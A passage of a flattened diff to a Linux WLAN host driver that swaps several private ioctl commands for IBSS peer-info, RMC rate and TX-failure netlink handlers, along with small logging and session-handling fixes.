VOS_TRACE_LEVEL_ERROR, - "%s: Accepted Values are 0 and 1 ", __func__); - ret = -EINVAL; + "%s: Copy into user data buffer failed ", __func__); + ret = -EFAULT; + kfree(extra); goto exit; - } - wlan_hdd_setIPv6Filter(WLAN_HDD_GET_CTX(pAdapter), filterType, - pAdapter->sessionId); - } -#endif - else if (strncmp(command, "BTCOEXMODE", 10) == 0 ) - { - char *dhcpPhase; - int ret; + } + priv_data.buf[numOfBytestoPrint] = '\0'; + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_MED, + "%s", priv_data.buf); - dhcpPhase = command + 11; - if ('1' == *dhcpPhase) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - FL("send DHCP START indication")); + if (length > numOfBytestoPrint) + { + if (copy_to_user(priv_data.buf + numOfBytestoPrint, + extra + numOfBytestoPrint, + length - numOfBytestoPrint + 1)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Copy into user data buffer failed ", __func__); + ret = -EFAULT; + kfree(extra); + goto exit; + } + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_MED, + "%s", &priv_data.buf[numOfBytestoPrint]); + } - pHddCtx->btCoexModeSet = TRUE; + /* Free temporary buffer */ + kfree(extra); + } - ret = wlan_hdd_scan_abort(pAdapter); - if (ret < 0) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("failed to abort existing scan %d"), ret); - } + else + { + /* Command failed, log error */ + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: GETIBSSPEERINFOALL command failed with status code %d", + __func__, status); + ret = -EINVAL; + goto exit; + } + ret = 0; + } + else if(strncasecmp(command, "GETIBSSPEERINFO", 15) == 0) + { + /* Peer Info command */ + tANI_U8 *value = command; + VOS_STATUS status; + hdd_station_ctx_t *pHddStaCtx = NULL; + char extra[128] = { 0 }; + v_U32_t length = 0; + v_U8_t staIdx = 0; + v_U32_t txRateMbps = 0; + v_MACADDR_t peerMacAddr; + + if (WLAN_HDD_IBSS == pAdapter->device_mode) + { + pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + } + else + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: pAdapter is not valid for this device mode", + __func__); + ret = -EINVAL; + goto exit; + } - sme_DHCPStartInd(pHddCtx->hHal, pAdapter->device_mode, - pAdapter->sessionId); - } - else if ('2' == *dhcpPhase) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - FL("send DHCP STOP indication")); + /* if there are no peers, no need to continue with the command */ + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: Received GETIBSSPEERINFO Command", __func__); - pHddCtx->btCoexModeSet = FALSE; + if (eConnectionState_IbssConnected != pHddStaCtx->conn_info.connState) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s:No IBSS Peers coalesced", __func__); + ret = -EINVAL; + goto exit; + } - sme_DHCPStopInd(pHddCtx->hHal, pAdapter->device_mode, - pAdapter->sessionId); - } - } - else if (strncmp(command, "SCAN-ACTIVE", 11) == 0) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("making default scan to ACTIVE")); - pHddCtx->scan_info.scan_mode = eSIR_ACTIVE_SCAN; - } - else if (strncmp(command, "SCAN-PASSIVE", 12) == 0) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("making default scan to PASSIVE")); - pHddCtx->scan_info.scan_mode = eSIR_PASSIVE_SCAN; - } - else if (strncmp(command, "GETDWELLTIME", 12) == 0) - { - hdd_config_t *pCfg = (WLAN_HDD_GET_CTX(pAdapter))->cfg_ini; - char extra[32]; - tANI_U8 len = 0; + /* Parse the incoming command buffer */ + status = hdd_parse_get_ibss_peer_info(value, &peerMacAddr); + if (VOS_STATUS_SUCCESS != status) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Invalid GETIBSSPEERINFO command", __func__); + ret = -EINVAL; + goto exit; + } + + /* Get station index for the peer mac address */ + hdd_Ibss_GetStaId(pHddStaCtx, &peerMacAddr, &staIdx); - memset(extra, 0, sizeof(extra)); - ret = hdd_get_dwell_time(pCfg, command, extra, sizeof(extra), &len); - len = VOS_MIN(priv_data.total_len, len + 1); - if (ret != 0 || copy_to_user(priv_data.buf, &extra, len + 1)) - { + if (staIdx > HDD_MAX_NUM_IBSS_STA) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Invalid StaIdx %d returned", __func__, staIdx); + ret = -EINVAL; + goto exit; + } + + /* Handle the command */ + status = hdd_cfg80211_get_ibss_peer_info(pAdapter, staIdx); + if (VOS_STATUS_SUCCESS == status) + { + v_U32_t txRate = pHddStaCtx->ibss_peer_info.ibssPeerList[0].txRate; + txRateMbps = (txRate * 500 * 1000)/1000000; + + length = scnprintf( extra, sizeof(extra), "%d %d", (int)txRateMbps, + (int)pHddStaCtx->ibss_peer_info.ibssPeerList[0].rssi); + + /* Copy the data back into buffer */ + if (copy_to_user(priv_data.buf, &extra, length+ 1)) + { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: failed to copy data to user buffer", __func__); + "%s: copy data to user buffer failed GETIBSSPEERINFO command", + __func__); ret = -EFAULT; goto exit; - } - ret = len; - } - else if (strncmp(command, "SETDWELLTIME", 12) == 0) - { - ret = hdd_set_dwell_time(pAdapter, command); + } + } + else + { + /* Command failed, log error */ + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: GETIBSSPEERINFO command failed with status code %d", + __func__, status); + ret = -EINVAL; + goto exit; + } + + /* Success ! */ + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_MED, + "%s", priv_data.buf); + ret = 0; } - else if ( strncasecmp(command, "MIRACAST", 8) == 0 ) + else if (strncasecmp(command, "SETRMCTXRATE", 12) == 0) { - tANI_U8 filterType = 0; - tANI_U8 *value; - value = command + 9; - - /* Convert the value from ascii to integer */ - ret = kstrtou8(value, 10, &filterType); - if (ret < 0) + tANI_U8 *value = command; + tANI_U32 uRate = 0; + tTxrateinfoflags txFlags = 0; + tSirRateUpdateInd *rateUpdateParams; + int status; + + if ((WLAN_HDD_IBSS != pAdapter->device_mode) && + (WLAN_HDD_SOFTAP != pAdapter->device_mode)) { - /* If the input value is greater than max value of datatype, - * then also kstrtou8 fails - */ VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: kstrtou8 failed range ", __func__); + "Received SETRMCTXRATE command in invalid mode %d " + "SETRMC command is only allowed in IBSS or SOFTAP mode", + pAdapter->device_mode); ret = -EINVAL; goto exit; } - if ((filterType < WLAN_HDD_DRIVER_MIRACAST_CFG_MIN_VAL ) || - (filterType > WLAN_HDD_DRIVER_MIRACAST_CFG_MAX_VAL)) + + status = hdd_parse_setrmcrate_command(value, &uRate, &txFlags); + if (status) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Accepted Values are 0 to 2. 0-Disabled, 1-Source," - " 2-Sink ", __func__); + "Invalid SETRMCTXRATE command "); ret = -EINVAL; goto exit; } - //Filtertype value should be either 0-Disabled, 1-Source, 2-sink - pHddCtx->drvr_miracast = filterType; - pScanInfo = &pHddCtx->scan_info; - if (filterType && pScanInfo != NULL && - pHddCtx->scan_info.mScanPending) + + rateUpdateParams = vos_mem_malloc(sizeof(tSirRateUpdateInd)); + if (NULL == rateUpdateParams) { - /*Miracast Session started. Abort Scan */ - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s, Aborting Scan For Miracast",__func__); - hdd_abort_mac_scan(pHddCtx, pScanInfo->sessionId, - eCSR_SCAN_ABORT_DEFAULT); + ret = -EINVAL; + goto exit; } - hdd_tx_rx_pkt_cnt_stat_timer_handler(pHddCtx); - sme_SetMiracastMode(pHddCtx->hHal, pHddCtx->drvr_miracast); - } - else if (strncmp(command, "SETMCRATE", 9) == 0) + + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: uRate %d ", __func__, uRate); + + vos_mem_zero(rateUpdateParams, sizeof(tSirRateUpdateInd )); + + /* -1 implies ignore this param */ + rateUpdateParams->ucastDataRate = -1; + + /* + * Fill the user specifieed RMC rate param + * and the derived tx flags. + */ + rateUpdateParams->rmcDataRate = uRate; + rateUpdateParams->rmcDataRateTxFlag = txFlags; + + status = sme_SendRateUpdateInd((tHalHandle)(pHddCtx->hHal), rateUpdateParams); + } + else if (strncasecmp(command, "SETIBSSTXFAILEVENT", 18) == 0 ) { - tANI_U8 *value = command; - int targetRate; - tSirRateUpdateInd *rateUpdate; - eHalStatus status; + char *value; + tANI_U8 tx_fail_count = 0; + tANI_U16 pid = 0; - /* Only valid for SAP mode */ - if (WLAN_HDD_SOFTAP != pAdapter->device_mode) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: SAP mode is not running", __func__); - ret = -EFAULT; - goto exit; - } + value = command; - /* Move pointer to ahead of SETMCRATE */ - /* input value is in units of hundred kbps */ - value = value + 10; - /* Convert the value from ascii to integer, decimal base */ - ret = kstrtouint(value, 10, &targetRate); + ret = hdd_ParseIBSSTXFailEventParams(value, &tx_fail_count, &pid); - rateUpdate = (tSirRateUpdateInd *)vos_mem_malloc(sizeof(tSirRateUpdateInd)); - if (NULL == rateUpdate) + if (0 != ret) { - hddLog(VOS_TRACE_LEVEL_ERROR, - "%s: SETMCRATE indication alloc fail", __func__); - ret = -EFAULT; + hddLog(VOS_TRACE_LEVEL_INFO, + "%s: Failed to parse SETIBSSTXFAILEVENT arguments", + __func__); goto exit; } - vos_mem_zero(rateUpdate, sizeof(tSirRateUpdateInd )); - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "MC Target rate %d", targetRate); - /* Ignore unicast */ - rateUpdate->ucastDataRate = -1; - rateUpdate->mcastDataRate24GHz = targetRate; - rateUpdate->mcastDataRate5GHz = targetRate; - rateUpdate->mcastDataRate24GHzTxFlag = 0; - rateUpdate->mcastDataRate5GHzTxFlag = 0; - status = sme_SendRateUpdateInd(pHddCtx->hHal, rateUpdate); - if (eHAL_STATUS_SUCCESS != status) + hddLog(VOS_TRACE_LEVEL_INFO, "%s: tx_fail_cnt=%hhu, pid=%hu", + __func__, tx_fail_count, pid); + + if (0 == tx_fail_count) { - hddLog(VOS_TRACE_LEVEL_ERROR, - "%s: SET_MC_RATE failed", __func__); - vos_mem_free(rateUpdate); - ret = -EFAULT; - goto exit; + // Disable TX Fail Indication + if (eHAL_STATUS_SUCCESS == + sme_TXFailMonitorStartStopInd(pHddCtx->hHal, + tx_fail_count, + NULL)) + { + cesium_pid = 0; } + else + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: failed to disable TX Fail Event ", __func__); + ret = -EINVAL; } -#ifdef FEATURE_WLAN_BATCH_SCAN - else if (strncmp(command, "WLS_BATCHING", 12) == 0) + } + else { - ret = hdd_handle_batch_scan_ioctl(pAdapter, &priv_data, command); + if (eHAL_STATUS_SUCCESS == + sme_TXFailMonitorStartStopInd(pHddCtx->hHal, + tx_fail_count, + (void*)hdd_tx_fail_ind_callback)) + { + cesium_pid = pid; + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: Registered Cesium pid %u", __func__, + cesium_pid); } -#endif + else + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Failed to enable TX Fail Monitoring", __func__); + ret = -EINVAL; + } + } + } + +#endif /* WLAN_FEATURE_RMC */ #if defined(FEATURE_WLAN_ESE) && defined(FEATURE_WLAN_ESE_UPLOAD) else if (strncmp(command, "SETCCXROAMSCANCHANNELS", 22) == 0) { @@ -4730,11 +6158,11 @@ static VOS_STATUS hdd_parse_ese_beacon_req(tANI_U8 *pValue, /*no argument followed by spaces*/ if ('\0' == *inPtr) return -EINVAL; - /*getting the first argument ie Number of IE fields */ + /*getting the first argument ie measurement token*/ v = sscanf(inPtr, "%31s ", buf); if (1 != v) return -EINVAL; - v = kstrtou8(buf, 10, &input); + v = kstrtos8(buf, 10, &input); if ( v < 0) return -EINVAL; input = VOS_MIN(input, SIR_ESE_MAX_MEAS_IE_REQS); @@ -4770,7 +6198,7 @@ static VOS_STATUS hdd_parse_ese_beacon_req(tANI_U8 *pValue, if (!tempInt) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "Invalid Measurement Token: %d", tempInt); + "Invalid Measurement Token: %u", tempInt); return -EINVAL; } pEseBcnReq->bcnReq[j].measurementToken = tempInt; @@ -4781,7 +6209,7 @@ static VOS_STATUS hdd_parse_ese_beacon_req(tANI_U8 *pValue, (tempInt > WNI_CFG_CURRENT_CHANNEL_STAMAX)) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "Invalid Channel Number: %d", tempInt); + "Invalid Channel Number: %u", tempInt); return -EINVAL; } pEseBcnReq->bcnReq[j].channel = tempInt; @@ -4791,19 +6219,18 @@ static VOS_STATUS hdd_parse_ese_beacon_req(tANI_U8 *pValue, if ((tempInt < eSIR_PASSIVE_SCAN) || (tempInt > eSIR_BEACON_TABLE)) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "Invalid Scan Mode(%d) Expected{0|1|2}", tempInt); + "Invalid Scan Mode(%u) Expected{0|1|2}", tempInt); return -EINVAL; } pEseBcnReq->bcnReq[j].scanMode= tempInt; break; case 3: /* Measurement duration */ - if (((!tempInt) && - (pEseBcnReq->bcnReq[j].scanMode != eSIR_BEACON_TABLE)) || + if (((!tempInt) && (pEseBcnReq->bcnReq[j].scanMode != eSIR_BEACON_TABLE)) || ((pEseBcnReq->bcnReq[j].scanMode == eSIR_BEACON_TABLE))) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "Invalid Measurement Duration: %d", tempInt); + "Invalid Measurement Duration: %u", tempInt); return -EINVAL; } pEseBcnReq->bcnReq[j].measurementDuration = tempInt; @@ -5284,24 +6711,21 @@ VOS_STATUS hdd_parse_channellist(tANI_U8 *pValue, tANI_U8 *pChannelList, tANI_U8 } -/**--------------------------------------------------------------------------- - - \brief hdd_parse_reassoc_command_data() - HDD Parse reassoc command data - - This function parses the reasoc command data passed in the format - REASSOC - - \param - pValue Pointer to input data (its a NUL terminated string) - \param - pTargetApBssid Pointer to target Ap bssid - \param - pChannel Pointer to the Target AP channel - - \return - 0 for success non-zero for failure - - --------------------------------------------------------------------------*/ -VOS_STATUS hdd_parse_reassoc_command_data(tANI_U8 *pValue, - tANI_U8 *pTargetApBssid, tANI_U8 *pChannel) +/** + * hdd_parse_reassoc_command_v1_data() - HDD Parse reassoc command data + * This function parses the reasoc command data passed in the format + * REASSOC + * + * @pValue: Pointer to input data (its a NUL terminated string) + * @pTargetApBssid: Pointer to target Ap bssid + * @pChannel: Pointer to the Target AP channel + * + * Return: 0 for success non-zero for failure + */ +static int hdd_parse_reassoc_command_v1_data(const tANI_U8 *pValue, + tANI_U8 *pTargetApBssid, tANI_U8 *pChannel) { - tANI_U8 *inPtr = pValue; + const tANI_U8 *inPtr = pValue; int tempInt; int v = 0; tANI_U8 tempBuf[32]; @@ -5833,6 +7257,7 @@ static void __hdd_uninit (struct net_device *dev) /* after uninit our adapter structure will no longer be valid */ pAdapter->dev = NULL; pAdapter->magic = 0; + pAdapter->pHddCtx = NULL; } while (0); EXIT(); @@ -5927,67 +7352,254 @@ VOS_STATUS hdd_request_firmware(char *pfileName,v_VOID_t *pCtx,v_VOID_t **ppfw_d hdd_context_t *pHddCtx = (hdd_context_t*)pCtx; ENTER(); - if( (!strcmp(WLAN_FW_FILE, pfileName)) ) { + if( (!strcmp(WLAN_FW_FILE, pfileName)) ) { + + status = request_firmware(&pHddCtx->fw, pfileName, pHddCtx->parent_dev); + + if(status || !pHddCtx->fw || !pHddCtx->fw->data) { + hddLog(VOS_TRACE_LEVEL_FATAL, "%s: Firmware %s download failed", + __func__, pfileName); + retval = VOS_STATUS_E_FAILURE; + } + + else { + *ppfw_data = (v_VOID_t *)pHddCtx->fw->data; + *pSize = pHddCtx->fw->size; + hddLog(VOS_TRACE_LEVEL_INFO, "%s: Firmware size = %d", + __func__, *pSize); + } + } + else if(!strcmp(WLAN_NV_FILE, pfileName)) { + + status = request_firmware(&pHddCtx->nv, pfileName, pHddCtx->parent_dev); + + if(status || !pHddCtx->nv || !pHddCtx->nv->data) { + hddLog(VOS_TRACE_LEVEL_FATAL, "%s: nv %s download failed", + __func__, pfileName); + retval = VOS_STATUS_E_FAILURE; + } + + else { + *ppfw_data = (v_VOID_t *)pHddCtx->nv->data; + *pSize = pHddCtx->nv->size; + hddLog(VOS_TRACE_LEVEL_INFO, "%s: nv file size = %d", + __func__, *pSize); + } + } + + EXIT(); + return retval; +} +/**--------------------------------------------------------------------------- + \brief hdd_full_pwr_cbk() - HDD full power callbackfunction + + This is the function invoked by SME to inform the result of a full power + request issued by HDD + + \param - callbackcontext - Pointer to cookie + status - result of request + + \return - None + +--------------------------------------------------------------------------*/ +void hdd_full_pwr_cbk(void *callbackContext, eHalStatus status) +{ + hdd_context_t *pHddCtx = (hdd_context_t*)callbackContext; + + hddLog(VOS_TRACE_LEVEL_INFO_HIGH,"HDD full Power callback status = %d", status); + if(&pHddCtx->full_pwr_comp_var) + { + complete(&pHddCtx->full_pwr_comp_var); + } +} + +#ifdef WLAN_FEATURE_RMC +static void hdd_tx_fail_ind_callback(v_U8_t *MacAddr, v_U8_t seqNo) +{ + int payload_len; + struct sk_buff *skb; + struct nlmsghdr *nlh; + v_U8_t *data; + + payload_len = ETH_ALEN; + + if (0 == cesium_pid) + { + hddLog(VOS_TRACE_LEVEL_ERROR, "%s: cesium process not registered", + __func__); + return; + } + + if ((skb = nlmsg_new(payload_len,GFP_ATOMIC)) == NULL) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: nlmsg_new() failed for msg size[%d]", + __func__, NLMSG_SPACE(payload_len)); + return; + } + + nlh = nlmsg_put(skb, cesium_pid, seqNo, 0, payload_len, NLM_F_REQUEST); + + if (NULL == nlh) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: nlmsg_put() failed for msg size[%d]", + __func__, NLMSG_SPACE(payload_len)); + + kfree_skb(skb); + return; + } + + data = nlmsg_data(nlh); + memcpy(data, MacAddr, ETH_ALEN); + + if (nlmsg_unicast(cesium_nl_srv_sock, skb, cesium_pid) < 0) + { + hddLog(VOS_TRACE_LEVEL_ERROR, "%s: nlmsg_unicast() failed for msg size[%d]", + __func__, NLMSG_SPACE(payload_len)); + } + + return; +} + +/**--------------------------------------------------------------------------- + \brief hdd_ParseuserParams - return a pointer to the next argument + + \return - status + +--------------------------------------------------------------------------*/ +static int hdd_ParseUserParams(tANI_U8 *pValue, tANI_U8 **ppArg) +{ + tANI_U8 *pVal; + + pVal = strchr(pValue, ' '); + + if (NULL == pVal) + { + /* no argument remains */ + return -EINVAL; + } + else if (SPACE_ASCII_VALUE != *pVal) + { + /* no space after the current argument */ + return -EINVAL; + } + + pVal++; + + /* remove empty spaces */ + while ((SPACE_ASCII_VALUE == *pVal) && ('\0' != *pVal)) + { + pVal++; + } + + /* no argument followed by spaces */ + if ('\0' == *pVal) + { + return -EINVAL; + } + + *ppArg = pVal; + + return 0; +} + +/**---------------------------------------------------------------------------- + \brief hdd_ParseIBSSTXFailEventParams - Parse params for SETIBSSTXFAILEVENT + + \return - status - status = request_firmware(&pHddCtx->fw, pfileName, pHddCtx->parent_dev); +------------------------------------------------------------------------------*/ +static int hdd_ParseIBSSTXFailEventParams(tANI_U8 *pValue, + tANI_U8 *tx_fail_count, + tANI_U16 *pid) +{ + tANI_U8 *param = NULL; + int ret; - if(status || !pHddCtx->fw || !pHddCtx->fw->data) { - hddLog(VOS_TRACE_LEVEL_FATAL, "%s: Firmware %s download failed", - __func__, pfileName); - retval = VOS_STATUS_E_FAILURE; - } + ret = hdd_ParseUserParams(pValue, ¶m); - else { - *ppfw_data = (v_VOID_t *)pHddCtx->fw->data; - *pSize = pHddCtx->fw->size; - hddLog(VOS_TRACE_LEVEL_INFO, "%s: Firmware size = %d", - __func__, *pSize); - } + if (0 == ret && NULL != param) + { + if (1 != sscanf(param, "%hhu", tx_fail_count)) + { + ret = -EINVAL; + goto done; + } + } + else + { + goto done; } - else if(!strcmp(WLAN_NV_FILE, pfileName)) { - status = request_firmware(&pHddCtx->nv, pfileName, pHddCtx->parent_dev); + if (0 == *tx_fail_count) + { + *pid = 0; + goto done; + } - if(status || !pHddCtx->nv || !pHddCtx->nv->data) { - hddLog(VOS_TRACE_LEVEL_FATAL, "%s: nv %s download failed", - __func__, pfileName); - retval = VOS_STATUS_E_FAILURE; - } + pValue = param; + pValue++; - else { - *ppfw_data = (v_VOID_t *)pHddCtx->nv->data; - *pSize = pHddCtx->nv->size; - hddLog(VOS_TRACE_LEVEL_INFO, "%s: nv file size = %d", - __func__, *pSize); - } + ret = hdd_ParseUserParams(pValue, ¶m); + + if (0 == ret) + { + if (1 != sscanf(param, "%hu", pid)) + { + ret = -EINVAL; + goto done; + } + } + else + { + goto done; } - EXIT(); - return retval; +done: + return ret; } -/**--------------------------------------------------------------------------- - \brief hdd_full_pwr_cbk() - HDD full power callbackfunction - This is the function invoked by SME to inform the result of a full power - request issued by HDD +static int hdd_open_cesium_nl_sock() +{ +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,6,0)) + struct netlink_kernel_cfg cfg = { + .groups = WLAN_NLINK_MCAST_GRP_ID, + .input = NULL + }; +#endif + int ret = 0; - \param - callbackcontext - Pointer to cookie - status - result of request +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,6,0)) + cesium_nl_srv_sock = netlink_kernel_create(&init_net, WLAN_NLINK_CESIUM, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,7,0)) + THIS_MODULE, +#endif + &cfg); +#else + cesium_nl_srv_sock = netlink_kernel_create(&init_net, WLAN_NLINK_CESIUM, + WLAN_NLINK_MCAST_GRP_ID, NULL, NULL, THIS_MODULE); +#endif - \return - None + if (cesium_nl_srv_sock == NULL) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "NLINK: cesium netlink_kernel_create failed"); + ret = -ECONNREFUSED; + } ---------------------------------------------------------------------------*/ -void hdd_full_pwr_cbk(void *callbackContext, eHalStatus status) -{ - hdd_context_t *pHddCtx = (hdd_context_t*)callbackContext; + return ret; +} - hddLog(VOS_TRACE_LEVEL_INFO_HIGH,"HDD full Power callback status = %d", status); - if(&pHddCtx->full_pwr_comp_var) +static void hdd_close_cesium_nl_sock() +{ + if (NULL != cesium_nl_srv_sock) { - complete(&pHddCtx->full_pwr_comp_var); + netlink_kernel_release(cesium_nl_srv_sock); + cesium_nl_srv_sock = NULL; } } - +#endif /* WLAN_FEATURE_RMC */ /**--------------------------------------------------------------------------- \brief hdd_req_bmps_cbk() - HDD Request BMPS callback function @@ -6394,6 +8006,32 @@ static eHalStatus hdd_smeCloseSessionCallback(void *pContext) return eHAL_STATUS_SUCCESS; } +/** + * hdd_close_tx_queues() - close tx queues + * @hdd_ctx: hdd global context + * + * Return: None + */ +static void hdd_close_tx_queues(hdd_context_t *hdd_ctx) +{ + VOS_STATUS status; + hdd_adapter_t *adapter; + hdd_adapter_list_node_t *adapter_node = NULL, *next_adapter = NULL; + /* Not validating hdd_ctx as it's already done by the caller */ + ENTER(); + status = hdd_get_front_adapter(hdd_ctx, &adapter_node); + while (NULL != adapter_node && VOS_STATUS_SUCCESS == status) { + adapter = adapter_node->pAdapter; + if (adapter && adapter->dev) { + netif_tx_disable (adapter->dev); + netif_carrier_off(adapter->dev); + } + status = hdd_get_next_adapter(hdd_ctx, adapter_node, + &next_adapter); + adapter_node = next_adapter; + } + EXIT(); +} VOS_STATUS hdd_init_station_mode( hdd_adapter_t *pAdapter ) { @@ -6494,7 +8132,7 @@ VOS_STATUS hdd_init_station_mode( hdd_adapter_t *pAdapter ) { INIT_COMPLETION(pAdapter->session_close_comp_var); if (eHAL_STATUS_SUCCESS == sme_CloseSession(pHddCtx->hHal, - pAdapter->sessionId, VOS_TRUE, + pAdapter->sessionId, FALSE, VOS_TRUE, hdd_smeCloseSessionCallback, pAdapter)) { unsigned long rc; @@ -6584,7 +8222,9 @@ void hdd_deinit_adapter( hdd_context_t *pHddCtx, hdd_adapter_t *pAdapter, tANI_U hdd_cleanup_actionframe(pHddCtx, pAdapter); hdd_unregister_hostapd(pAdapter, rtnl_held); - hdd_set_conparam( 0 ); + /* set con_mode to STA only when no SAP concurrency mode */ + if (!(hdd_get_concurrency_mode() & (VOS_SAP | VOS_P2P_GO))) + hdd_set_conparam(0); break; } @@ -7071,6 +8711,7 @@ hdd_adapter_t* hdd_open_adapter( hdd_context_t *pHddCtx, tANI_U8 session_type, INIT_DELAYED_WORK(&pAdapter->roc_work, hdd_p2p_roc_work_queue); } + break; } case WLAN_HDD_MONITOR: @@ -7375,13 +9016,17 @@ VOS_STATUS hdd_stop_adapter( hdd_context_t *pHddCtx, hdd_adapter_t *pAdapter, halStatus = sme_RoamDisconnect(pHddCtx->hHal, pAdapter->sessionId, eCSR_DISCONNECT_REASON_UNSPECIFIED); - //success implies disconnect command got queued up successfully - if(halStatus == eHAL_STATUS_SUCCESS) + /* Success implies disconnect command got queued up successfully + * Or cmd not queued as scan for SSID is in progress + */ + if((eHAL_STATUS_SUCCESS == halStatus) || + (eHAL_STATUS_CMD_NOT_QUEUED == halStatus)) { ret = wait_for_completion_interruptible_timeout( &pAdapter->disconnect_comp_var, msecs_to_jiffies(WLAN_WAIT_TIME_DISCONNECT)); - if (ret <= 0) + if (ret <= 0 && + (eHAL_STATUS_CMD_NOT_QUEUED != halStatus)) { hddLog(VOS_TRACE_LEVEL_ERROR, "%s: wait on disconnect_comp_var failed %ld", @@ -7410,10 +9055,9 @@ VOS_STATUS hdd_stop_adapter( hdd_context_t *pHddCtx, hdd_adapter_t *pAdapter, FL("wait on disconnect_comp_var failed %ld"), ret); } } - else if(pScanInfo != NULL && pHddCtx->scan_info.mScanPending) + if(pScanInfo != NULL && pHddCtx->scan_info.mScanPending) { - hdd_abort_mac_scan(pHddCtx, pScanInfo->sessionId, - eCSR_SCAN_ABORT_DEFAULT); + wlan_hdd_scan_abort(pAdapter); } if ((pAdapter->device_mode != WLAN_HDD_INFRA_STATION) && (pAdapter->device_mode != WLAN_HDD_IBSS)) @@ -7460,8 +9104,8 @@ VOS_STATUS hdd_stop_adapter( hdd_context_t *pHddCtx, hdd_adapter_t *pAdapter, { INIT_COMPLETION(pAdapter->session_close_comp_var); if (eHAL_STATUS_SUCCESS == - sme_CloseSession(pHddCtx->hHal, pAdapter->sessionId, VOS_FALSE, - hdd_smeCloseSessionCallback, pAdapter)) + sme_CloseSession(pHddCtx->hHal, pAdapter->sessionId, FALSE, + VOS_FALSE, hdd_smeCloseSessionCallback, pAdapter)) { unsigned long ret; @@ -7731,7 +9375,6 @@ VOS_STATUS hdd_start_all_adapters( hdd_context_t *pHddCtx ) connState = (WLAN_HDD_GET_STATION_CTX_PTR(pAdapter))->conn_info.connState; hdd_init_station_mode(pAdapter); - /* Open the gates for HDD to receive Wext commands */ pAdapter->isLinkUpSvcNeeded = FALSE; pHddCtx->scan_info.mScanPending = FALSE; @@ -7753,8 +9396,8 @@ VOS_STATUS hdd_start_all_adapters( hdd_context_t *pHddCtx ) pAdapter->sessionCtx.station.hdd_ReassocScenario = VOS_FALSE; /* indicate disconnected event to nl80211 */ - cfg80211_disconnected(pAdapter->dev, WLAN_REASON_UNSPECIFIED, - NULL, 0, GFP_KERNEL); + wlan_hdd_cfg80211_indicate_disconnect(pAdapter->dev, false, + WLAN_REASON_UNSPECIFIED); } else if (eConnectionState_Connecting == connState) { @@ -7866,7 +9509,6 @@ void hdd_dump_concurrency_info(hdd_context_t *pHddCtx) v_U8_t staChannel = 0, p2pChannel = 0, apChannel = 0; const char *p2pMode = "DEV"; const char *ccMode = "Standalone"; - int n; status = hdd_get_front_adapter ( pHddCtx, &pAdapterNode ); while ( NULL != pAdapterNode && VOS_STATUS_SUCCESS == status ) @@ -7914,14 +9556,14 @@ void hdd_dump_concurrency_info(hdd_context_t *pHddCtx) if (staChannel > 0 && (apChannel > 0 || p2pChannel > 0)) { ccMode = (p2pChannel==staChannel||apChannel==staChannel) ? "SCC" : "MCC"; } - n = pr_info("wlan(%d) " MAC_ADDRESS_STR " %s", + hddLog(VOS_TRACE_LEVEL_INFO, "wlan(%d) " MAC_ADDRESS_STR " %s", staChannel, MAC_ADDR_ARRAY(staBssid), ccMode); if (p2pChannel > 0) { - n += pr_info("p2p-%s(%d) " MAC_ADDRESS_STR, + hddLog(VOS_TRACE_LEVEL_ERROR, "p2p-%s(%d) " MAC_ADDRESS_STR, p2pMode, p2pChannel, MAC_ADDR_ARRAY(p2pBssid)); } if (apChannel > 0) { - n += pr_info("AP(%d) " 